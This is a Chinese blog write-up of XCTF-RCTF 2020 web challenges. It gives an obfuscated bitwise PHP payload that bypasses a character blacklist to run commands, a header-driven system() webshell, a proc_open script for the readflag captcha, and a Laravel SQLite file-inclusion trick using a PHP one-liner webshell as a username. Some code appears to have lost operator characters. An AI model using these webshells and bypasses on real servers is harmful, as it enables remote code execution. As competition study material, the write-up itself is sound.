XCTF-RCTF 2020 Writeup

Author:颖奇L’Amore
Blog:www.gem-love.com

本次比赛只帮战队solve了一个题,太菜了,然后calc的solve数比较多,本来不打算写wp了,这几天抽时间研究了一下其他题目,所以简单写一写。


calc

改编自RoarCTF2019的Easy Calc,访问calc.php拿到源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
?>

过滤了英文字符和[\x-7f-\xff]以及一些符号,虽然取反没ban但也是不可以的,本题的思路是通过& 等位运算构造任意字符。

获得数字字符

我们可以得到任意数字,(1)仍是int,但是如果((1).(2)) (注意需要套一个括号否则出错)就会得到字符串“12”

之后再通过字符串截取即可得到单字符,PHP中可以使用大括号来完成,也是按照惯例,第一个字符编号是0,第二个是1,以此类推

获得部分字符

通过NAN INF以及科学计数法可以获得INAFE这5个字母,这样得到:

但是得到的是float类型,同样使用大括号截取并不能得到对应的单字符,反而会报错并返回NULL

那我们还可以通过刚刚的方法,让两个数字做点运算然后加上括号包裹,再用{}截取,即可:

获得更多字符

现在我们有了几个英文字符、数字等,让他们互相做位运算即可得到更多字符,然后再把得到的更多字符再位运算又能得到更更多的字符。基本思路就是这样,具体操作起来可以先来参考一下杭电Vidar-Team的E99p1ant师傅的脚本:


$char = '1234567890-INFAH@+*%$()"!%meogiakcfhvwbnq_';
for($i = 0; $i < strlen($char); $i++){
for($j = 0; $j < strlen($char); $j++){
echo($char[$i] .'&' .$char[$j] . ' '. ($char[$i] & $char[$j]));
echo("<br>");
echo($char[$i] .'' .$char[$j] . ' '. ($char[$i] $char[$j]));
echo("<br>");
}
}

这可以构造出一个表,主要是什么和什么位运算能得到什么,根据这个表我手工构造了大概10个左右的字符,然后把他们加进数组,再foreach()互相位运算,基本需要的东西就够用了。 但是_和T是构造不出的,eval()在这种环境下也不能用,直接用E99p1ant师傅的扫目录Payload扫到了根目录下的readflag,但是构造PHPINFO发现并没有disable_function,所以应该就是构造一个系统命令执行,Payload:

(((((((2).(0)){0}){0})(((0/0).(0)){1}))).(((1).(2)){0}((1/0).(0)){0}).((((((2).(0)){0}){0})(((0/0).(0)){1}))).((((((1).(2)){0}((1/0).(0)){0})&((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2})))))&(((1/0).(0)){1}))((((4).(0)){0}))).((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2})))).(((1/0).(0)){0}(((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2})))))((((((((-1).(0)){0})(((((8).(0)){0})&((((-1).(0)){0})(((999999).(1)){1})))((((2).(0)){0})&((((-1).(0)){0})(((999999).(1)){1}))))))).(((((((2).(0)){0}){0})(((0/0).(0)){1})))&(((2).(1)){0}((((999999).(1)){2})((((4).(0)){0})&(((-1).(0)){0}))))).((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2})))).((((1).(2)){0}((1/0).(0)){0})&((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2}))))).(((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2}))))&(((((999999).(1)){2})((((4).(0)){0})&(((-1).(0)){0}))))).(((((999999).(1)){2})((((4).(0)){0})&(((-1).(0)){0})))).((((1/0).(0)){0}(((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2}))))&(((1/0).(0)){1}((((999999).(1)){2})((((4).(0)){0})&(((-1).(0)){0}))))).((((1).(2)){0}((1/0).(0)){0})&((((((-1).(0)){0})(((0/0).(0)){1}))&((((1).(0)){0})(((999999).(1)){2}))))).(((((999**999).(1)){2})(((-2).(1)){0})&(((1).(0)){0})))))

打过去就是执行readflag,但是发现了一个祖传老考点,就是需要solve一个计算

这个之前在2019 *CTF包括前几天的De1CTF等都有出现,这东西实际上是运行在系统上,有几种解决办法,比如trap等等,但是前提是先获得一个交互式shell,于是我又构造了反弹shell结果没成功,去问了管理员说是靶机不能出网 还可以用php或者perl的exp一键打,但是Payload比较长,所以我们必须要构造一个webshell,弄一个可控参数,然后把我们的Payload放上去,于是很容易想到了这样的格式:

system(end(getallheaders()))

因为header可控,题目环境是Apache,就可以执行任意命令了。然后用这个脚本一键打:

<?php 
$d = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error.log", "a")
);

$cwd = "/";
$env = array();

$process = proc_open("/readflag", $d, $pipes, $cwd, $env);
if (is_resource($process))
{
$d = fread($pipes[1], 1024);
$d = fread($pipes[1], 1024);
$d = explode("\n", $d);
eval("\$result = $d[0];");
eval("\$result = $d[0];");
fwrite($pipes[0] , "$result\n");
var_dump(fread($pipes[1],1024));
var_dump(fread($pipes[1],1024));
var_dump(fread($pipes[1],1024));
fclose($pipes[0]);
fclose($pipes[1]);
$r = proc_close($process);
echo "result $r\n";
}

转base,然后base64 -dphp即可执行,或者直接用php来eval(base64_decode())也可以,即可得到flag:


PWN-BEST PHP

这题分web和pwn两部分,拿到so扩展之后交给队友去pwn了,被队友一通喷

我就写下web部分的解题思路吧,但是有可能是非预期的解法 Laravel框架,登录后在/file得到源码:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class HomeController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}

/**
* Show the application dashboard.
*
* @return \Illuminate\Contracts\Support\Renderable
*/
public function index()
{
return view('home');
}

public function file(Request $request)
{
$file = $request->get('file');

if (!empty($file)) {
if (stripos($file, 'storage') === false) {
include $file;
}
} else {
return highlight_file('../app/Http/Controllers/HomeController.php', true);
}

}

public static function weak_func($code)
{
eval($code);
// try try phpinfo();
// scandir may help too
}
}

可以发现有文件包含,就可以用伪协议读源码,包含一下Laravel框架的环境变量配置文件.env,从中得到了sqlite的位置:

我们知道SQLite是个无服务零配置的数据库,他的数据保存在文件内,和Mircosoft Access类似,然后我们得到了数据库文件的路径,于是伪协议读取一下:

可以发现我们的用户名和邮箱都能明文完整显示出来,而且用户名无限制,所以就注册一个php的一句话木马,然后去包含数据库文件即可。 然而包含出现了500Error,检测一下发现有弱智写php一句话时候没用?>闭合语句,导致了执行出错。这里肯定卡住了非常多人。 还有人因为包含不成功去要求管理员删库的:

实际上根本没有必要,因为看数据库发现新注册的账户实际上是在最上面的,所以只要写个注释把后面注释了就可以了,用多行注释后面的php语句不会执行,所以有错也不会造成500:

所以注册如下用户名即可getshell:

<?php eval($_GET[9]);/* ?>

用我这个方法,任何时间,任何地点,都可以直接getshell

然后把so文件下载下来去交给队友pwn。稳定的webshell是必要的,因为pwn完还要拿来交互。


Swoole

非常绕,今天研究了一天,推荐直接看开心师傅的文章:

https://www.mrkaixin.top/posts/fbd7e4e1/#4-2-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90%E3%80%82

kaixin师傅写的比较明白了,我就不重新写一遍了

Author: Y1ng
Link: https://www.gem-love.com/2020/06/03/xctf-rctf-2020-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!